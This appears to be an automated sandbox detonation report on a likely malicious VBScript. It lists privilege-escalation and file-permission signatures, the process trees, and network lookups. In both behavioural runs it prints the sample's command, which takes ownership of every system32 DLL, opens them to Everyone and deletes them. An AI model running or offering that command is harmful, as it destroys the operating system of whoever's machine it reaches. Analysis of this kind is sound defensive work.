Analysis Overview
SHA256
b22c20ce6607e7b4caa3109c47df38d7bfb151dd60619e406037d2a5e54be6da
Threat Level: Likely malicious
The file file01.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Checks computer location settings
Enumerates physical storage devices
Suspicious use of FindShellTrayWindow
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:47
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:47
Reported
2024-08-09 20:50
Platform
win7-20240708-en
Max time kernel
117s
Max time network
124s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2208 wrote to memory of 2836 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 2208 wrote to memory of 2836 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 2208 wrote to memory of 2836 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 2836 wrote to memory of 3048 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2836 wrote to memory of 3048 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2836 wrote to memory of 3048 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 2836 wrote to memory of 2748 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 2836 wrote to memory of 2748 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 2836 wrote to memory of 2748 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
Network
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:47
Reported
2024-08-09 20:47
Platform
win10v2004-20240802-en
Max time kernel
22s
Max time network
7s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |